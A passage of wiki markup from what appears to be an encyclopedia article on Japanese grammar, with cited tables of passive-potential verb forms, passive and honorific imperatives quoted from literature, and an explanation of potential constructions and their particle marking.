| {{#invoke:nihongo|nihongo_krt|guess|察する|sassuru}}
| style=text-align:right | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|す}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|せ}}</span>'''<br>{{#invoke:lang|lang|ja|察}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|し}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be guessed / suffer because one guesses / (can) guess / be guessable|察せられる|sasserareru}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:今日只その城郭の遺跡のみにて察するに、山上に散在する瓦などの遺物から天守の存在したことは察せられるが、|page=48 |url=https://u-sacred-heart.repo.nii.ac.jp/record/319/files/ron16-sukeno_45-68.pdf|script-title=ja:近世城下町の形成と転換 ――近江八幡町の場合――|last=Sukeno|first=Kentarō|script-journal=ja:聖心女子大学論叢|number=16 |year=1961}}</ref><br>{{#invoke:nihongo|nihongo_krt||察しられる|sasshirareru}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:ただ私は、大和の本文の口調、ちょっとした言いまわしの特徴から、それを察するのである――恋に落ちた女性の、ほんの少しのしぐさ、身ぶりのかすかな特徴から、その恋情がはっきりと察しられるように、である。|page=142 |url=https://shoin.repo.nii.ac.jp/record/1443/files/r1994miyazaki.pdf|last=Miyaza|first=Yoshizō|script-title=ja:太平洋戦争と英文学者⑶|journal=Shoin Literary Review|number=27 |year=1994 |title=Teachers of English in Japan during World War II (3)}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|(can) believe|信ずる|shinzuru}}
| style=text-align:right | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ず}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''<br>{{#invoke:lang|lang|ja|信}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be believed / suffer because one believes / (can) believe / be believable/trustable|信ぜられる|shinzerareru}}{{sfnp|Martin|2004|p=876}}<ref name=meikyo /><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:だが,「信」は,意志的に選び採られるもの,すなわち,信ずる主体から信ぜられる客体に差し向けられるという形(つまり,「主→客」という図式)のもとにその基本構造を十全に説明づけられうるものなのであろうか。|page=204 |script-title=ja:「信」の思想 ―親鸞とアウグスティヌス―|url=https://shukutoku.repo.nii.ac.jp/record/28/files/KJ00004355277.pdf|script-journal=ja:淑徳大学社会学部研究紀要|number=32 |year=1998 |last=Itō|first=Susumu}}</ref><br>{{#invoke:nihongo|nihongo_krt||信じられる|shinjirareru}}{{sfnp|Martin|2004|p=876}}<ref name=meikyo /><ref>{{#invoke:cite|journal|title=A Creation of a STORY of what sort of happy life we should lead : Clarifying an Ethical Thought of Connubiality|script-journal=ja:国士舘哲学|volume=25|url=https://kokushikan.repo.nii.ac.jp/record/15331/files/1343_2389_025_02.pdf|publisher=Kokushikan University Library and Information Commons|date=20 March 2021|lang=ja|script-quote=ja:信ずる対象を、いわば自分が信じられるものへとスライドさせることは、畢寛、何かを信じきれないという疑いを差し挟んでいるからであり、そんな状態の心において、絶対的な信が成り立つことはない。|script-title=ja:幸せな人生はいかにしてつくられるのか ―夫婦という倫理思想の〈物語〉をめぐって―|page=20 |last=Yoshihara|first=Yūichi}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|give|進ずる|shinzuru}}
| style=text-align:right | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ず}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | {{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|ぜ}}</span>'''<br>{{#invoke:lang|lang|ja|進}}'''<span style="color:#04b">{{#invoke:lang|lang|ja|じ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|(can) be given / suffer because one gives / (can) give / be givable|進ぜられる|shinzerareru}}<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:御斎会行事のための召物が進ぜられなかったので検非違使が催したという。[…]検非違使が人夫を進ずるのは、|pp=27–28|script-title=ja:検非違使と「河」と「路」|last=Nakahara|first=Toshiaki|url=https://dl.ndl.go.jp/pid/12533530/1/15|script-journal=ja:ヒストリア|publisher=Osaka Historical Association|number=105 |issn=0439-2787|date=10 December 1984|location=[[Ikeda, Osaka]]}}</ref><br>{{#invoke:nihongo|nihongo_krt||進じられる|shinjirareru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:選帝侯夫人。何もかも知つてゐます! ですけど、わたしの樣な微力な者が、何んなことをして進じられませう。|page=87 |url=https://dl.ndl.go.jp/pid/968474/1/52|script-chapter=ja:第三幕|title=Der Prinz von Homburg|script-title=ja:公子ホンブルク|first=Bernd Heinrich Wilhelm|last=von Kleist|authorlink=Heinrich von Kleist|translator-last=Ōba|translator-first=Yonejirō|publisher=Iwanami Shoten|date=11 January 1922|location=[[Kanda, Tokyo]]}}</ref><ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:今日多く海浜野山を過ぐ、今日の行程八十町許りか」と書いて居り、更に目代内記太夫私に送物があり、久澄の居は四日ばかりの行程で、遥に送り進じられる者との書添えもある。|url=http://www.ojiri.jp/oujiatowotazunetetate1.html|script-title=ja:熊野古道に王子址を尋ねて|script-journal=ja:葵羊園叢考|date=3 March 1961|last=Shibaguchi|first=Tsunegusu}}</ref><ref>{{#invoke:cite|journal|lang=ja|url=https://hirosaki.repo.nii.ac.jp/record/4535/files/AA12016218_1_113.pdf|script-quote=ja:安政7年(1860)旧暦の6月に黒石正が岩木の金木屋にアメリカビイドロ2枚を進じられた話があり障子に付けたとある。|page=137 |last1=Takahata|first1=Miyoko|last2=Saitō|first2=Shōichi|script-title=ja:イザベラ・バードの描いた碇ヶ関と子どもと遊び|title=What Isabella Bird Saw, during Her Travel through the Northern Part of Japan, in the Province of Ikarigaseki and what Children Played there|script-journal=ja:弘前大学大学院地域社会研究科年報|number=1 |year=2005}}</ref>
|-
| {{#invoke:nihongo|nihongo_krt|come|来る|kuru}}
| style=text-align:right | '''<span style="color:#04b">{{#invoke:lang|lang|ja|く}}</span><span style="color:#e66;text-decoration:line-through">{{#invoke:lang|lang|ja|る}}</span>'''
| style=text-align:right;border-right:none | '''<span style="color:#04b">{{#invoke:lang|lang|ja|こ}}</span>'''
| style=border-left:none | '''<span style="color:#0a0">{{#invoke:lang|lang|ja|られる}}</span>'''
| {{#invoke:nihongo|nihongo_krt|suffer because one comes / (can) come|来られる|korareru}}<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:何しろ彼らにしてみれば、世界一に漁業のうまい日本の漁業者に來られては、自分たちの魚がみんなとられてしまふと、心配でならないのだ。そのためアメリカの政府の方でも、ほつてはおけないので日本に文句をいひだした。|trans-quote=After all, in their view, they were concerned that if Japanese fishermen, the finest in the world, came, they would take all their fish. Thus, even the American government could not stand by, and they filed a complaint to Japan.|p=120|script-chapter=ja:第二章 北洋漁業|trans-chapter=Chapter 2: North-Pacific Fishing|url=https://dl.ndl.go.jp/pid/1720295/1/74|script-title=ja:漁業日本 北洋物語|trans-title=Fishery Japan: Stories from the North Pacific|publisher=Sanseido|last=Takemura|first=Kōkichi|date=20 February 1944|location=[[Kanda, Tokyo]]}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「こっちにおいで、ぼくのかわいいジプシー。一日じゅう退屈で、きみは来ないかと思った」<br>「ジョーンに言っておいたのだけれど……」<br>「ああ、わかっている。でも、ちょっとぐらい顔を見せられなかったのかい? ヘイスがもう少し車を飛ばせば、勤務前にきみは来られたのに」|quote='Come here, my little gipsy,' he cajoled her. 'I've been so bored all day, I thought you were never coming.'<br>'I told Joan . . .' she began.<br>'Yes, I know—surely you could have left one of your nurses in charge for just a moment or two? I was furious with Gijs getting back so late—if he'd moved a bit you would have had time to come and see me before you went on duty.'|chapter=Chapter Two|script-chapter=ja:2|title=Uncertain Summer|script-title=ja:打ち明けられない恋心|trans-title=Unprofessed Love|authorlink=Betty Neels|first=Betty|last=Neels|date=5 August 2011|publisher=HarperCollins Japan|isbn=978-4-596-22185-8|translator-last=Gotō|translator-first=Mika}}</ref><ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「ティア、こちらはマクシミリアーノ・レオネッリ。あなたのお<ruby>祖父<rp>(</rp><rt>じい</rt><rp>)</rp></ruby>様の代わりに迎えに来られた方よ」マザー・サンチャが告げる。|quote='Tia. This is Maximiliano Leonelli, whom your grandfather has sent in his stead,' Mother Sancha announced.|chapter=Chapter One|script-chapter=ja:1|date=20 January 2025|orig-date=5 May 2018|publisher=HarperCollins Japan|script-title=ja:修道院から来た花嫁|trans-title=A Bride from a Convent|title=Claimed for the Leonelli Legacy|authorlink=Lynne Graham|first=Lynne|last=Graham|translator-last=Matsuo|translator-first=Masako|isbn=978-4-596-72000-9}}</ref>
|}
=== Passive: Grammatical compatibility ===
A passive potential verb is an ''ichidan'' verb, and can be conjugated further mostly in the same way an ''ichidan'' verb can be, although its [[Japanese conjugation#Imperative|imperative]] is uncommon.{{sfnp|Suzuki|2001|p=843}}
{| class="wikitable"
|+ style=text-align:left | Extended passive potential example sentences
|-
! English
! Japanese
! Function
|-
| "Be a good piggy and let me eat you!"{{efn|Get eaten by me quietly, Pork!}}
| {{#invoke:Nihongo|nihongo||「おとなしく俺'''に食われろ'''、豚肉!」<ref>{{#invoke:cite|book|lang=ja|url=https://ncode.syosetu.com/n5626ho/4/|author=Kōun Piero|script-title=ja:「魔物になったので、ダンジョンコア食ってみた!」 ~騙されて、殺されたらゾンビになりましたが、進化しまくって無双しようと思います~|date=8 April 2022|script-chapter=ja:第4話 ダンジョン発見!|publisher={{#invoke:lang|lang|ja|小説家になろう}}}}</ref>|"Otonashiku ore '''ni kuwarero''', butaniku!"}}
| rowspan=7 | passive imperativity
|-
| Thou sun that comfort'st, burn!—Speak and be hang'd!
| {{#invoke:Nihongo|nihongo||太陽よ、慰安は與へるな、燒き殺してやれ! 口をきくやつァ'''縊殺されろ'''!<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:'''タイモ''' 太陽よ、慰安は與へるな、燒き殺してやれ! 口をきくやつァ縊殺されろ! 正直なことを言やァ其口が水ぶくれになれ! <ruby>譃<rp>(</rp><rt>うそ</rt><rp>)</rp></ruby>を吐きゃァ舌の根に火が附いて、しゃべるうちに燒け落ちろ!|quote='''Tim.''' Thou sun that comfort'st, burn!—Speak and be hang'd!<br>For each true word, a blister! and each false<br>Be as a cauterizing to the root o' the tongue,<br>Consuming it with speaking!|page=146|url=https://dl.ndl.go.jp/pid/1664876/1/79|script-chapter=ja:第一場 タイモンの洞の前の森。|chapter=Scene I. The Woods. Before Timon's Cave.|title=Timon of Athens|script-title=ja:アセンズのタイモン|series={{#invoke:lang|lang|ja|シェークスピヤ全集}}|publisher=Shinjusha|authorlink=William Shakespeare|first1=William|last1=Shakespeare|authorlink2=Thomas Middleton|first2=Thomas|last2=Middleton|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|date=30 October 1958|location=[[Bunkyō]], Tokyo}}</ref>|Taiyō yo, ian wa ataeru na, yakikoroshite yare! Kuchi o kiku yatsu 'a '''shimekorosarero'''!}}
|-
| "……Go to the Archbishop? You're telling me to stab the Archbishop to death?"<br>"You get stabbed to death!"
| {{#invoke:Nihongo|nihongo||「……大主教のところに行って? あたしに大主教を刺し殺せっていうの?」<br>「おまえが'''刺し殺されろ'''」<ref name=yuzuki-2020>{{#invoke:cite|book|lang=ja|script-quote=ja:「ユーフェ、おまえは大主教のところへ行け。おまえひとりなら、ヤツは雷槌は撃ってこない。俺が聖騎士をひきつける」<br>「……大主教のところに行って? あたしに大主教を刺し殺せっていうの?」<br>「おまえが刺し殺されろ」<br>「────」|trans-quote="Euphe, you go to the Archbishop. He won't fire his Thunder Hammer if it's only you. I'll draw the Paladin away."<br>"……Go to the Archbishop? You're telling me to stab the Archbishop to death?"<br>"You get stabbed to death!"<br>"────"|script-chapter=ja:第5章 魔女の守護者|trans-chapter=Chapter 5: The Witch's Guardian|script-title=ja:聖なる魔女と悪魔の騎士|trans-title=The Holy Witch and the Demonic Knight|volume=1|last=Yuzuki|first=Ayaka|date=7 August 2020|publisher=Reposition}}</ref>|"……Daishukyō no tokoro ni itte? Atashi ni Daishukyō o sashikorose tte yū no?"<br>"Omae ga '''sashikorosarero'''"}}
|-
| "It would take too long to get Bodie up there. I'd be arrested."<br>"You should be!"{{efn|Get arrested!}}
| {{#invoke:nihongo|nihongo||「ジャクソン・ホールまで行くには時間がかかる。ボーディが駆けつける前に僕が逮捕されてしまう」<br>「'''逮捕されろ'''!」<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:ケインは財布を取り出し、バーテンダーの手に百ドル札の束を押しつけた。「これで足りなかったら、僕に知らせてくれ」<br>シドは顔をしかめた。「足りるとは思うが、問題の本質はそこじゃない。なんでジャクソン・ホールに行かないんだ? あっちのバーで暴れろよ!」<br>ケインは目をしばたたいた。「ジャクソン・ホールまで行くには時間がかかる。ボーディが駆けつける前に僕が逮捕されてしまう」<br>「逮捕されろ!」<br>ケインは黒い瞳を細くし、一歩前に出た。<br>シドはあとずさった。|quote=Cane pulled out his wallet and pressed a wad of hundreds into the bartender's hand. "If that's not enough, you let me know."<br>Sid grimaced. "It will be enough, but it's the principle of the thing! Why can't you go up to Jackson Hole and wreck bars?"<br>Cane blinked. "It would take too long to get Bodie up there. I'd be arrested."<br>"You should be!"<br>Cane's black eyes narrowed and he took a step forward.<br>Sid backed up.|chapter=Chapter One|script-chapter=ja:1|script-title=ja:汚された献身|trans-title=Tainted Devotion|title=Wyoming Fierce|series={{#invoke:lang|lang|ja|ワイオミングの風}}|date=20 December 2013|translator-last=Hirae|translator-first=Mayumi|isbn=978-4-596-80075-6|authorlink=Diana Palmer (author)|first=Diana|last=Palmer}}</ref>|"Jakuson Hōru made iku ni wa jikan ga kakaru. Bōdi ga kaketsukeru mae ni boku ga taiho sarete shimau"<br>"'''Taiho sarero'''!"}}
|-
| However, the adage popular in the aviation industry before COVID, "get better, get bigger or get bought out," should still ring true even today among small and medium business owners in the industry.
| {{#invoke:nihongo|nihongo||しかし、コロナ禍前からの航空機産業で流行の格言、すなわち「Get better, Get bigger or Get bought out」(改善せよ、規模拡大せよ、さもなければ'''買収されよ''')という言葉は、今日さらに現実性を持って、航空機産業の中小企業経営者の耳に響いているはずである。<ref>{{#invoke:cite|book|lang=ja|page=121|script-title=ja:2022 年度現地ニーズ等活用促進事業 欧州航空機産業における現地ニーズ調査 ―エアバス・サプライチェーン特徴とその動向―|script-chapter=ja:「報告4」エアバス・サプライチェーン調達戦略の今後の見通し|date=March 2023|publisher=Japan External Trade Organization|url=https://www.jetro.go.jp/ext_images/_Reports/02/2023/ea9c9679bee68132/2023_03.pdf}}</ref>|Shika shi, Korona-ka mae kara no kōkūki sangyō de ryūkō no kakugen, sunawachi "Get better, Get bigger or Get bought out" (kaizen seyo, kibo kakudai seyo, samo nakereba '''baishū sareyo''') to yū kotoba wa, konnichi sara ni genjitsusei o motte, kōkūki sangyō no chūshōkigyō keieisha no mimi ni hibiite iru hazu de aru.}}
|-
| He would have offered his own head to [[Nobunaga]] in Master [[Matsudaira Nobuyasu|Nobuyasu]]'s stead, but [[Ieyasu]], deeply appreciative of such sentiment, declined.{{efn|He meant to be ''affected'' by the proposal that someone would offer his head.}}
| {{#invoke:Nihongo|nihongo||己の首を信康様の首として信長に'''差し出されよ'''、というものであったが、家康はその心根に痛く感謝しつつ拒絶した。<ref>{{#invoke:cite|journal|lang=ja|script-quote=ja:岡崎から信康の補佐役平岩親吉が駆けつけて家康に願い出た。己の至らなさのためにこのような事態になったことを恥じて、自分が身代わりになりますると主張した。己の首を信康様の首として信長に差し出されよ、というものであったが、家康はその心根に痛く感謝しつつ拒絶した。|trans-quote=[[Hiraiwa Chikayoshi]], an aide to Master [[Matsudaira Nobuyasu|Nobuyasu]], rushed from [[Okazaki, Aichi|Okazaki]] to make a plea to [[Ieyasu]]. Ashamed of how the situation had turned out due to his own failings, he insisted on becoming a scapegoat. He would have offered his own head to [[Nobunaga]] in Master Nobuyasu's stead, but Ieyasu, deeply appreciative of such sentiment, declined.|page=24|script-title=ja:鬼の涙|last=Umihara|first=Yū|script-journal=ja:浜松市民文芸|volume=59|location=[[Hamamatsu]], [[Shizuoka Prefecture|Shizuoka]]|date=15 March 2014|editor=Hamamatsu Cultural Foundation|url=https://www.hcf.or.jp/event/citizens_art_no59/pdf/bungei59.pdf}}</ref>|Onore no kubi o Nobuyasu-sama no kubi to shite Nobunaga ni '''sashidasareyo''', to yū mono de atta ga, Ieyasu wa sono kokorone itaku kansha shitsutsu kyozetsu shita.}}
|-
| If you can't beat them, join them.{{efn|Get rolled by the long thing.}}
| {{#invoke:nihongo|nihongo||長い物'''に'''は'''巻かれろ・巻かれよ'''<ref name=kenkyusha/><ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E9%95%B7%E3%81%84%E7%89%A9%E3%81%AB%E3%81%AF%E5%B7%BB%E3%81%8B%E3%82%8C%E3%82%8D-345646|script-title=ja:長い物には巻かれろ|script-work=ja:コトバンク}}</ref><ref>{{#invoke:cite|web|lang=ja|url=https://kotobank.jp/word/%E9%95%B7%E3%81%84%E7%89%A9%E3%81%AB%E3%81%AF%E5%B7%BB%E3%81%8B%E3%82%8C%E3%82%88-587552|script-title=ja:長い物には巻かれよ|script-work=ja:コトバンク}}</ref>|Nagai mono '''ni''' wa '''makarero/makareyo'''}}
|-
| "Come on now, Lord Ura, pray rise in haste. […]"
| {{#invoke:Nihongo|nihongo||「さあさあ、ウラ殿も早く'''起きられよ'''。[…]」<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:「さあ、殿。いつまでも寝ていてはダメでござる。朝は一日の始まり、それを<ruby>疎<rp>(</rp><rt>おろそ</rt><rp>)</rp></ruby>かにすると、<ruby>怠<rp>(</rp><rt>たい</rt><rp>)</rp></ruby><ruby>惰<rp>(</rp><rt>だ</rt><rp>)</rp></ruby>な日々が始まってしまいます。さあ起きて下され、殿!」<br>「う~ぬ~」<br>ムサシの声に、ウラも目を覚ましたようだ。<br>「さあさあ、ウラ殿も早く起きられよ。ファルガ殿など、鍛錬のためにもう外で<ruby>槍<rp>(</rp><rt>やり</rt><rp>)</rp></ruby>を振っているでござるよ?」|trans-quote="Come now, my lord, ye cannot sleep forever. The morning is the start of the day, neglect it and your days shall start in indolence. Come now, be so kind as to rise, my lord!"<br>"Um~m~"<br>Looks like Ura'd been woken up by Musashi's voice.<br>"Come on now, Lord Ura, pray rise in haste. Know ye not Lord Farga amongst others hath already been swinging his lance outside in annealment of himself?"|script-chapter=ja:第一章 名を上げる|trans-chapter=Chapter 1: Making a Name|script-title=ja:異世界転生 君との再会まで長いこと長いこと|trans-title=Reincarnation in Another World: A Long, Long Time Till I See You Again|publisher=AlphaPolis|author=Anikkī Brazzā|date=1 November 2016}}</ref>|"Sā sā, Ura-dono mo hayaku '''okirareyo'''. […]"}}
| rowspan=6 | subject‑exalting imperativity
|-
| Should you wish to make the Iliad, put yourself on diet.
| {{#invoke:Nihongo|nihongo||諸君がイリアツドを作らんと欲せば、先づ斷食を'''せられよ'''。<ref name=honma-1919>{{#invoke:cite|book|lang=ja|page=194|quote=Voulez-vous faire l'Iliade, mettez-vous à la diète.|script-quote=ja:諸君がイリアツドを作らんと欲せば、先づ斷食をせられよ。|url=https://dl.ndl.go.jp/pid/1718814/1/178|script-chapter=ja:シエクスピーヤ|chapter=William Shakespeare|trans-chapter=[[William Shakespeare (essay)|Shakespeare]]|script-title=ja:ユーゴー全集|trans-title=The Complete Works of Hugo|publisher={{#invoke:lang|lang|ja|ユーゴー全集刊行會}}|authorlink=Victor Hugo|first=Victor-Marie|last=Hugo|translator-last=Honma|translator-first=Takehiko|editor={{#invoke:lang|lang|ja|ユーゴー全集刊行會}}|date=22 September 1919|location=[[Kōjimachi]], Tokyo}}</ref>|Shokun ga Iriaddo o tsukuran to hosseba, mazu danjiki o '''serareyo'''.}}
|-
| And the striking thing was that the aforementioned phrase also meant "Come in to my bar."
| {{#invoke:Nihongo|nihongo||そして特に面白いことには、右の文句はまた「吾が酒場に'''來られよ'''」といふ意味を含んでゐたのである。<ref>{{#invoke:cite|book|lang=ja|page=73|quote=De la sorte il s'était trouvé que, ne sachant pas le français, le père Hucheloup avait su le latin, qu'il avait fait sortir de la cuisine la philosophie, et que, voulant simplement effacer Carême, il avait égalé Horace. Et ce qui était frappant, c'est que cela aussi voulait dire : entrez dans mon cabaret.|trans-quote=In this way, Father Hucheloup did not know French well but he did indeed know Latin, he had extracted philosophy from the kitchen, and in simply wanting to efface Lent's prohibition of meat, he had come to equal Horace. And the striking thing was that the aforementioned phrase also meant "Come in to my bar."|script-quote=ja:斯くて亭主のユシュルーは、フランス語をよく知らないが却つてラテン語を知つてゐたわけで、料理場から哲學を引き出し、また單に四句節の肉食禁制を廢しようとしながらホラチウスに匹敵するに至つたのである。そして特に面白いことには、右の文句はまた「吾が酒場に來られよ」といふ意味を含んでゐたのである。|url=https://dl.ndl.go.jp/pid/1136770/1/38|script-chapter=ja:一 コラント亭の歷史|trans-chapter=I. History of Corinth|chapter=I. Histoire de Corinthe depuis sa fondation|script-title=ja:レ・ミゼラブル|trans-title=Les Misérables|publisher=Iwanami Shoten|volume=6|authorlink=Victor Hugo|first=Victor-Marie|last=Hugo|translator-last=Toyoshima|translator-first=Yoshio|series={{#invoke:lang|lang|ja|岩波文庫}}|date=15 October 1948|orig-date=5 October 1937|edition=4th|location=[[Chiyoda, Tokyo]]}}</ref>|So shite toku ni omoshiroi koto ni wa, migi no monku wa mata "Waga sakaba ni '''korareyo'''" to yū imi o fukunde ita no de aru.}}
|-
| Hie you to horse: adieu,<br>Till you return at night. Goes Fleance with you?
| {{#invoke:Nihongo|nihongo||そんな馬で早く往つて'''來られい'''。さらばぢや。<br>晩に又お目に掛からう。フリアンス殿も連れて往かれるか。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:'''マクベス王'''<br>聞けば一族の血腥い若者二人は<br>イングランドとアイルランドとへ往つたさうな。<br>そして殘忍な親殺の惡業を白狀はせずに、<br><ruby>怪<rp>(</rp><rt>け</rt><rp>)</rp></ruby>しからん流言を放つさうな。だがその事はあすにしよう。<br>どうせ外の國務も一しよに相談せんではならぬから。<br>そんな馬で早く往つて來られい。さらばぢや。<br>晩に又お目に掛からう。フリアンス殿も連れて往かれるか。|quote='''MACBETH.'''<br>We hear our bloody cousins are bestow'd<br>In England and in Ireland, not confessing<br>Their cruel parricide, filling their hearers<br>With strange invention: but of that to-morrow,<br>When therewithal we shall have cause of state<br>Craving us jointly. Hie you to horse: adieu,<br>Till you return at night. Goes Fleance with you?|url=https://dl.ndl.go.jp/pid/947499/1/60|page=108|script-chapter=ja:第一場 フオレス。宮殿の一間。|chapter=Scene I. Forres. The palace.|script-title=ja:マクベス|title=Macbeth|translator-link=Mori Ōgai|translator-last=Mori|translator-first=Rintarō|authorlink=William Shakespeare|first=William|last=Shakespeare|date=28 July 1913|publisher=Keiseisha Shoten|location=[[Kyōbashi, Tokyo]]}}</ref>|Sonna uma de hayaku itte '''korarei'''. Saraba ja.<br>Ban ni mata ome ni kakarō. Furiansu-dono mo tsurete yukareru ka.}}
|-
| Lo, in this right hand, whose protection<br>Is most divinely vow'd upon the right<br>Of him it holds, stands young Plantagenet,
| {{#invoke:Nihongo|nihongo||'''見られい'''、此右の手に[…]立ってをられるのがプランタヂェネット正系の少公子で、<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:'''佛王''' わしのいふことを聽いた上で、双方への返辭をするがいゝ。見られい、此右の手に(と傍なるアーサーの手を握って動かしながら)立ってをられるのがプランタヂェネット正系の少公子で、此(とヂョンに思入れをして)<ruby>仁<rp>(</rp><rt>じん</rt><rp>)</rp></ruby>の兄であった人の子で、此仁及び其全所領の君主なのである。で、わしは、堅く神明に誓って、此少公子の蹂躪された權利を保護すべく、斯く當市の郊外までも兵を進めたのである。|quote='''K. Phi.''' When I have said, make answer to us both.<br>Lo, in this right hand, whose protection<br>Is most divinely vow'd upon the right<br>Of him it holds, stands young Plantagenet,<br>Son to the elder brother of this man,<br>And king o'er him and all that he enjoys:<br>For this down-trodden equity, we tread<br>In warlike march these greens before your town.|page=42|url=https://dl.ndl.go.jp/pid/1664857/1/27|script-chapter=ja:第一場 フランス。アンヂールズ市の前。|chapter=Scene I. France. Before Angiers.|title=King John|script-title=ja:ヂョン王|series={{#invoke:lang|lang|ja|シェークスピヤ全集}}|publisher=Shinjusha|authorlink=William Shakespeare|first=William|last=Shakespeare|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|date=15 December 1957|location=[[Bunkyō]], Tokyo}}</ref>|'''Mirarei''', kono migi no te ni […] tatte orareru no ga Purantajenetto seikei no shōkōshi de,}}
|-
| As you shall prove us, praise us.
| {{#invoke:Nihongo|nihongo||手證を見た上で評を'''せられい'''。<ref>{{#invoke:cite|book|lang=ja|script-quote=ja:'''ロドヸ''' <ruby>手<rp>(</rp><rt>て</rt><rp>)</rp></ruby><ruby>證<rp>(</rp><rt>しよう</rt><rp>)</rp></ruby>を<ruby>見<rp>(</rp><rt>み</rt><rp>)</rp></ruby>た<ruby>上<rp>(</rp><rt>うへ</rt><rp>)</rp></ruby>で<ruby>評<rp>(</rp><rt>ひやう</rt><rp>)</rp></ruby>をせられい。|quote='''Lod.''' As you shall prove us, praise us.|page=212|url=https://dl.ndl.go.jp/pid/979372/1/117|script-chapter=ja:第一場 サイプラス。街上。|chapter=Scene I. Cyprus. A street.|title=Othello|script-title=ja:オセロー|authorlink=William Shakespeare|first=William|last=Shakespeare|translator-link=Tsubouchi Shōyō|translator-last=Tsubouchi|translator-first=Shōyō|date=15 April 1922|orig-date=5 April 1911|edition=8th|publisher=Waseda University Press|location=[[Ushigome]], Tokyo}}</ref>|Teshō o mita ue de hyō o '''serarei'''.}}
|}
== Potential ==
{{#invoke:nihongo|nihongo|'''Potentiality'''|可能|kanō}} describes the possibility for an action to happen, whether it involves an intentional acting [[Agent (grammar)|agent]] or not:{{sfnp|Komatsu|2001|pp=161–162}}
*With a capable agent: {{#invoke:nihongo|nihongo||彼は野球ができる|Kare wa yakyū ga dekiru|{{lit|Him? Baseball is possible}}, {{xlat|He can play baseball}}}}
*Without a capable agent:
**{{#invoke:nihongo|nihongo||小雨なら運動会ができる|Kosame nara undōkai ga dekiru|{{lit|Provided that it drizzles, the sports day is possible}}, {{xlat|The sports day can still happen if it only drizzles}}}}
**{{#invoke:nihongo|nihongo||この酒はなかなかいける|Kono sake wa nakanaka ikeru|{{lit|This liquor? It can go very much}}, {{xlat|This liquor is very good}}}}
The [[Patient (grammar)|patient]] of an action is customarily marked with the nominative particle ''ga'' (rather than the accusative ''o''),{{sfnp|Martin|2004|p=297}} which has the same appearance as the [[#Passive|passive voice]]:
*Active: {{#invoke:nihongo|nihongo||AがP'''を'''食べる|A ga P '''o''' taberu|{{gloss|A eats P}}}}
**Pure passive: {{#invoke:nihongo|nihongo||AにP'''が'''食べられる|A ni P '''ga''' taberareru|{{gloss|P is eaten by A}}}}
**Passive potential: {{#invoke:nihongo|nihongo||Aに・がP'''が'''・'''を'''食べられる|A ni/ga P '''ga'''/'''o''' taberareru|{{gloss|P can be eaten by A → A can eat P}}}}
It is not impossible to use {{#invoke:nihongo|nihongo||AがP'''を'''食べられる|A ga P '''o''' taberareru|''ni'' and ''o'' do not occur together for the potential{{sfnp|Shibuya|2002|p=8}}}} instead in the passive potential above, but it is less preferable in this case.{{sfnp|Martin|2004|p=297}}<ref>{{#invoke:cite|journal|lang=ja|script-title=ja:可能表現における助詞『が』と『を』をめぐって|last=Kim|first=Chang-Gyu|script-journal=ko:日本硏究|journal=Japanese Studies|publisher=Pusan National University|pages=132–133|url=https://www.dbpia.co.kr/journal/articleDetail?nodeId=NODE06565807|date=February 2011|volume=30}}</ref> However, ''o'' is more preferable to ''ga'' in the presence of a motion verb (whose pure passive does not naturally occur):{{sfnp|Martin|2004|p=297}}
*Active: {{#invoke:nihongo|nihongo||Aがここ'''を'''通る|A ga koko '''o''' tōru|{{gloss|A passes this place}}}}
**<s>Pure passive: {{#invoke:nihongo|nihongo||Aにここ'''が'''通られる|A ni B '''ga''' tōrareru|{{gloss|this place is passed by A}}}}</s>
**Potential: {{#invoke:nihongo|nihongo||Aがここ'''を'''通れる|A ga B '''o''' tōreru|{{gloss|A can pass this place}}}}
